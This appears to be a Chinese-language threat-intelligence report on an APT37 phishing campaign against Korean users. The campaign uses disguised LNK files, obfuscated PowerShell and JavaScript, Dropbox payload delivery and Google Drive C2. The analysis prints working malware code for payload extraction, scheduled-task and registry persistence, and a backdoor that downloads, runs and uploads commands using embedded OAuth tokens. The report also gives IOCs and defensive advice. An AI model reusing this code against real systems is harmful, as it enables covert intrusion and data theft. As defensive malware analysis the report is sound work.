概述
瑞星威胁情报平台近期捕获到一起针对韩国用户的攻击事件。攻击者通过钓鱼邮件定向投递快捷方式文件作为初始攻击武器,并利用双扩展名技术将其伪装成合法文档(如HWP
、XLS
、Docx
等)。其中,HWP
是韩国特有的办公文件格式,在政企机构中尤为常见。与以往使用定制化PE
后门不同,此次攻击采用混淆的轻量化脚本作为后门工具,实现文件下载、上传等功能,并通过Dropbox
、Google Drive
等公共服务投递恶意载荷及进行C2
通信。通过对本次捕获到的多个恶意样本进行分析,发现部分样本的最早创建时间可追溯至2021
年,表明攻击具有长期潜伏的特点。这些手法与APT37
组织高度吻合,体现出针对性强、持续时间长、隐蔽性高等特征。
APT37
是一个活跃于朝鲜半岛的网络威胁组织,又名Konni
、ScarCruft
、Group123
、TEMP.Reaper
等。其目标包括俄罗斯、韩国以及周边国家地区,以窃取敏感信息为主,涉及航空航天、汽车、化工、金融、政府、医疗保健、制造和运输等领域。该组织的攻击活动最早可追溯到2012
年,该组织习惯于使用脚本作为攻击武器,在近年来活动频繁,被数个国内外安全团队持续追踪和披露。
ATT&CK矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0002 -执行 |
T1059 -命令和脚本解释器 |
利用PowerShell 和wscript 执行恶意脚本 |
TA0002 -执行 |
T1204 -用户执行 |
伪装成合法文档诱骗用户执行 |
TA0003 -持久化 |
T1547 -启动或登录自动执行 |
创建注册表自启动项执行恶意载荷 |
TA0003 -持久化 |
T1053 -计划任务/作业 |
创建计划任务执行恶意载荷 |
TA0005 -防御规避 |
T1140 -去混淆或解密文件和信息 |
恶意代码进行混淆和编码处理 |
TA0007 -环境发现 |
T1083 -枚举文件和目录 |
在受害者主机上搜索特定文件 |
TA0007 -环境发现 |
T1124 -获取系统时间 |
获取本地时间作为日志文件名上传给服务器 |
TA0011 -指挥与控制 |
T1132 -数据编码 |
与服务器通信信息经过base64 编码处理 |
TA0011 -指挥与控制 |
T1008 -备用通道 |
攻击者自建备用服务器,以防止主服务器失联 |
TA0010 -外传信息 |
T1567 -通过公共Web 服务器外传 |
使用Google Drive 提供C2 通信服务 |
事件详情
样本ECRM.hwp.lnk
是一个伪装成HWP
文档的快捷方式文件。文件名中的ECRM
(全称网络犯罪举报系统
)是韩国国家警察为打击网络犯罪设立的投诉举报平台,而HWP
文档则是韩国特有的办公文件格式,在各个领域被广泛使用。这一命名方式表明攻击者主要针对韩国用户。
攻击过程分为三个阶段:代码提取、载荷下载和C2
通信,各阶段均通过轻量化脚本实现。初始样本ECRM.hwp.lnk
完成代码提取,利用本地工具mshta.exe
执行javascript
脚本,从自身提取恶意代码并保存为e.ps1
。这是一个被混淆的PowerShell
脚本,负责下阶段恶意载荷的下载和部署。载荷是以zip
压缩包形式从Dropbox
网盘下载,解压后的文件为26545.tmp
和AN9385.tmp
。其中AN9385.tmp
为PowerShell
脚本,通过Google Drive
作为C2
服务器实现数据上传和下载。此外,攻击者还自建备用服务器投递未知功能的恶意载荷,可见本次披露的攻击链仅为整条攻击链的一部分,后续需要持续追踪报告。
在过去几个月中先后捕获到的多个样本,其创建时间、伪装主题均有所不同,但根据分析发现它们使用了相似的攻击手法,可判定为同类型样本,文件创建时间最早可追溯到2021
年,符合APT
攻击中潜伏时间的特点。相关信息如下表。
文件创建时间 | 文件名 | 文件hash值 |
---|---|---|
2021-05-08 | F97EE8A4BFE37D23914DA3E63A5BB1B5 | |
2021-05-08 | D5669C046C78F54D2ACB353626BB3BCF | |
2021-05-08 | 8E6F25DB8C21A16F87F1215FC739C4DF | |
2021-05-08 | 0AD43887AD5887BD15EC95B5C5E24949 | |
2021-05-08 | 6DA06E1E7B9E8E5EB9F199B0FBCF811A | |
2024-05-15 | A8C11A675BA46FCC6EEC82958A4F1FF8 | |
2024-06-05 | 95289AC289DB6AD1FD9175992F498CD3 | |
2024-06-05 | 6EB5CB9D898B93B831D8B4738ED6C2BD | |
2024-06-05 | E1C239C743A5F88EB22570D38C48B68A | |
2024-08-25 | data.docx.lnk | DB81F6109260D4541904EFEE54075E97 |
2024-08-25 | 3B80B5DCBB9266381EAB0C98908F353A | |
2024-09-10 | ECRM.hwp.lnk | 5BD8CAD0E4F14E252056830D16ABFBE5 |
2024-09-10 | 54F34D4C59C233A21C8D5391B2F8CDD3 | |
2024-09-10 | C2F0EF5EDD623325D84B2F4F6B119EF3 |
攻击流程
样本分析
ECRM.hwp.lnk分析
字段 | 内容 |
---|---|
原始文件名 | ECRM.hwp.lnk |
文件大小 | 7.07 KB (7244 bytes) |
文件MD5 | 5bd8cad0e4f14e252056830d16abfbe5 |
文件类型 | LNK |
病毒名 | Trojan.PSRunner/LNK!1.12BA6 |
主要功能 | 代码提取 |
该样本作为快捷方式文件被伪装成合法文档,诱骗用户执行。之后使用本地工具mshta.exe
执行内嵌的javascript
脚本,从自身文件中提取恶意代码并保存到本地。
p="$w ([byte[]]($f | select -Skip 0x0beb)) -Force";
k="c:\\programdata\\";
b=" -Encoding Byte;sc ";
// 实现代码提取的powershell命令
c="powershell -ep bypass -c $t=0x1c4c;$k = Get-ChildItem *.lnk | where-object {$_.length -eq $t} | Select-Object -ExpandProperty Name;if($k.count -eq 0){$k=Get-ChildItem $env:TEMP\\*\\*.lnk | where-object{$_.length -eq $t};};$w='"+k+"e.ps1';$f=gc $k"+b+p+b+k+"d3914 0;powershell -ep bypass -f $w;";
s="a=new ActiveXObject('WScript.Shell');a.Run(c,0,true);close();";
eval(s);
e.ps1分析
字段 | 内容 |
---|---|
原始文件名 | e.ps1 |
文件大小 | 3.13 KB (3,208 bytes) |
文件MD5 | fbb66b4c327e89ace98cef760a09018b |
文件类型 | powershell |
病毒名 | Downloader.Agent/PS!1.12BA8 |
主要功能 | 载荷下载 |
样本e.ps1
通过截取、反转、拼接等操作,将内部存储的字符串生成base64
编码数据。解码后的PowerShell
脚本负责从Dropbox
网盘下载下一阶段恶意载荷,并通过创建计划任务和注册表自启动项实现本地持久化。攻击者还使用自建服务器64.20.59.148
(开放端口8855
和6699
)提供载荷下载。
$e1 = {
# 网盘地址
$du = "https[:]//www.dropbox.com/scl/fi/epr742mdeq0fp7t5p854x/Sm.dat?rlkey=recrfqqfhl9rtjxcgxbvh39oy&st=z3dqb888&dl=1"
try {
# 下载并解压到本地
$tg = "c:\\programdata\\gs.zip"
.("{2}{3}{0}{1}" -f 'ebRe', 'quest', 'Invo', 'ke-W') ${du} -OutFile ${tg}
Expand-Archive -Path $tg -DestinationPath 'C:\\Programdata'
# 创建计划任务
$g = 'schtasks /create /sc minute /mo 2 /tn AGMicrosoftEdgeUpdateExpanding[7923498737] /tr "wscript //e:javascript //b C:\\ProgramData\\26545.tmp" /f'
cmd /c $g
# 创建注册表自启动项
$kic1 = 'ws\\system32\\wscript.exe //b //e:javascript C:\\ProgramData\\26545.tmp" /f'
$qoc = 'dows\CurrentVersion\Run" /v GUpdate2 /t REG_SZ /d "c:\\windo' + $kic1
$tmp2 = 'KCU\Software\Microsoft\Win' + $qoc
$untiy = 'r'
$tmp1 = 'eg add "H'
$tmp3 = $tmp1 + $tmp2
$trn1 = $untiy + $tmp3
cmd /c $trn1
del $tg
} catch {}
while ($true) {
$u = " Invoke-Expression (Get-Content C:\\ProgramData\\AN9385.tmp);"
powershell -ep bypass -c $u
Sleep(120)
}
}
# 执行上述命令
$rp = [runspacefactory]::CreateRunspacePool(1, 5)
$rp.Open()
$p1 = [powershell]::Create()
$p1.RunspacePool = $rp
$p1.AddScript($e1)
$JobObj = New-Object -TypeName PSObject -Property @{
Runspace = $p1.BeginInvoke()
PowerShell = $p1
}
26545.tmp分析
字段 | 内容 |
---|---|
原始文件名 | 26545.tmp |
文件大小 | 1.50 KB (1,546 bytes) |
文件MD5 | cfdb4174185fb4690f905880e57f1413 |
文件类型 | javascript |
病毒名 | Trojan.Obfus/JS!1.12BB6 |
样本26545.tmp
是一段javascript
脚本,通过自定义函数将存储在数组中的混淆代码进行解码,然后使用函数eval
执行。解码后的有效代码为:powershell -ep bypass -command $fn='C:\ProgramData\AN9385.tmp';$d = Get-Content $fn; Invoke-Exproession $d;
。
存储在数组中的混淆代码格式为:四位数字 + 字符X
+ 有效字符串,比如5187Xe pyb\"p\"+salsl -
,其中前四个数字用于结束循环。具体算法为:
- 截取数组元素中字符
X
后的有效字符串 - 将截取的字符串前两个字符移动到末尾,然后再将字符串首尾字符互换
- 最后按照原有格式组成新字符串并替换原数组中的元素
- 使用方法
pop
和unshift
将数组末尾元素移动到数组首位置 - 依次循环,直到计算结果满足条件则结束
// 存放混淆代码片段的数组
function NXIueeg(){
var QOOI888cv3=[
"5187Xe pyb\"p\"+salsl -",
"2238X\"\"+amdn$ nf =-com","2127X\\P\\orrg\"a\"+'mC:",
"1775Xa\\\\NA3958t.Dmat","1189X$ d =eG-t\"Cp+';",
"6102Xn tf$;nI vn\"\"onte","9073XeE-px+\"r\"se+s\"ok",
"1349Xino$ ;d;\"s \"e+\"",
"6701Xhuihw433654m7fomu",
"6651X(mOnc48,70 .)Run",
"0397Xctahce(rr{);}}",
"9112X{v ras meoftmry",
"7068Xw3h644375 =unhiu",
"3968XAtcviXebOejecw ",
"2051Xc+\"r\"pi.thSte(\"WS","9808X av rmOnc48l7l\");",
"8061X+o\"ewsr\"h\"+=e \"p\""
];
NXIueeg=function(){
return QOOI888cv3;
};
return NXIueeg();
}
// 去混淆函数
(function (ABdbe92663,UEF742){
var ANXOuhue4=QPlvmms8vje;
var agent=ABdbe92663();
var n = agent.length;
while(!![]){
try{
// 根据索引值获取数组元素中的数字并进行计算
k = parseInt(ANXOuhue4(0x1da))*(parseInt(ANXOuhue4(0x1df)))/0x5;
if(k===UEF742){ // 当计算结果等于573864.6时,退出去混淆函数
break;
}
else {
for(i=0;i<n;i++){
str = agent[i];
// 截取字符`X`后的有效字符串
var match = str.match(/\d+/g);
var m = match[0].length + 1;
var tmp = str.substring(m);
var len = tmp.length;
if(len <= 2)
return;
// 将字符串前两个字节移动到末尾
var k = tmp.substring(2)+tmp.substring(0,2);
// 新字符串首尾字符互换
t = k.charAt(0);
tt = k.charAt(len-1);
tmp = tt+k.substring(1,len-1)+ t;
// 组成新字符串替换原数组元素中的数据
var res = match[0]+'X'+tmp;
agent[i] = res;
}
// 将数组最后一个元素添加到数组首位置
agent['unshift'](agent['pop']());
}
}catch(_0x49299e){}
}
}(NXIueeg, 573864.6));
AN9385.tmp分析
字段 | 内容 |
---|---|
原始文件名 | AN9385.tmp |
文件大小 | 4.78 KB (4,902 bytes) |
文件MD5 | 27C402E2FFEF65540DB0B89717230092 |
文件类型 | powershell |
病毒名 | Backdoor.[APT37]Agent/PS!1.12C70 |
主要功能 | 从C2服务器上传、下载等 |
样本AN9385.tmp
同样对代码进行了混淆处理,具体方法与e.ps1
相同。其功能是与Google Drive
通信,实现信息上传、下载。
初始化和认证,使用OAuth
刷新令牌获取新的访问令牌,包含客户端ID
、密钥和刷新令牌等敏感信息,然后上传到服务器。
$objName = "rrr"
$folderId = "1ktR0YQGBIz82IJb6vezlsKEbkUdv6l0L" # Google Drive文件夹ID
$clientId = "65054017293-7kvu5k3rd9gam8uj8pemoc35pfl93ct4.apps.googleusercontent.com" # OAuth客户端ID
$secret = "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" # OAuth客户端密钥
$redirectURI = "urn:ietf:wg:oauth:2.0:oob" # 重定向URI
$refreshToken = "1//040Z2ylrAaX67CgYIARAAGAQSNwF-L9IrH8y9nHxEuWMZvRIBvyzBU9zgOt6_9wDyWQHuIrCVnQ6Q6tQRVlePMMIv8kBbJmGgKT8" # 刷新令牌
# 使用刷新令牌获取新的访问令牌
$refreshTokenParams = @{
client_id=$clientId;
client_secret=$secret;
refresh_token=$refreshToken;
grant_type='refresh_token';
}
$refreshedToken = Invoke-WebRequest -Uri "https://www.googleapis.com/oauth2/v4/token" -Method POST -Body $refreshTokenParams | ConvertFrom-Json
$accesstoken = $refreshedToken.access_token
# 设置授权头
$dnHeader = @{
"Authorization" = "Bearer $accessToken"
}
# 上传日志文件,记录当前执行信息
UploadLog($accesstoken)
主代码部分实现了上传和下载功能,下载内容保存至本地文件tmps4.ps1
。由于服务器已关闭,未获取最终下载载荷,但根据文件名推测这是一个具有特殊功能的PowerShell
脚本。
# 查询Google Drive中符合条件的文件
$q = "q=name+contains+'$objName'+and+not+fullText+contains+'result'+and+mimeType+!=+'application/vnd.google-apps.folder'"
$ur = "https://www.googleapis.com/drive/v3/files" + "?" + $q
$response = Invoke-RestMethod -Uri $ur -Headers $dnHeader
$files = $response.files
$cout = $files.Count
for($i=0; $i -lt $cout;$i++){
$n = $files[$i].name;
$id = $files[$i].id;
$mimeType = $files[$i].mimeType;
# 只处理文本文件
if($mimeType -eq "text/plain") {
# 下载文件
$downloadUrl = "https://drive.google.com/uc?export=download&id="+$id;
$localFilePath = "c:\\programdata\\"+$n;
try{
$c = new-object System.Net.WebClient;
$res=$c.DownloadString($downloadUrl);
# 从Google Drive删除该文件
$delUrl = "https://www.googleapis.com/drive/v3/files/" + $id
Invoke-RestMethod -Uri $delUrl -Method DELETE -Headers $dnHeader
# 将下载的内容保存为临时PowerShell脚本并执行
$tmpz = "c:\\programdata\\tmps4.ps1";
$res | Out-File $tmpz;
$Output = try {
powershell -ep bypass -f $tmpz 2>&1 | Out-String;
} catch {
$_ | Out-String;
}
# 将执行结果保存到文件并上传到Google Drive
$tm = [System.DateTime]::Now;
$s = $tm.ToFileTimeUtc().ToString()
$imgName= $s;
$outfile = "c:\programdata\" + $imgName
$Output | Out-File -FilePath $outfile
# 上传文件
UploadFile -Path $outfile -accesstoken $accesstoken;
}
}
}
攻击过程可视化(EDR)
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
3B80B5DCBB9266381EAB0C98908F353A DB81F6109260D4541904EFEE54075E97 5BD8CAD0E4F14E252056830D16ABFBE5 6DA06E1E7B9E8E5EB9F199B0FBCF811A 54F34D4C59C233A21C8D5391B2F8CDD3 C2F0EF5EDD623325D84B2F4F6B119EF3 A8C11A675BA46FCC6EEC82958A4F1FF8 F97EE8A4BFE37D23914DA3E63A5BB1B5 D5669C046C78F54D2ACB353626BB3BCF 95289AC289DB6AD1FD9175992F498CD3 6EB5CB9D898B93B831D8B4738ED6C2BD E1C239C743A5F88EB22570D38C48B68A 8E6F25DB8C21A16F87F1215FC739C4DF 0AD43887AD5887BD15EC95B5C5E24949 cfdb4174185fb4690f905880e57f1413 27C402E2FFEF65540DB0B89717230092 fbb66b4c327e89ace98cef760a09018b
-
URL
hxxps//www.dropbox.com/scl/fi/epr742mdeq0fp7t5p854x/Sm.dat?rlkey=recrfqqfhl9rtjxcgxbvh39oy&st=z3dqb888&dl=1
-
IPV4
64.20.59.148
-
瑞星病毒名
Backdoor.[APT37]Agent/PS!1.12C70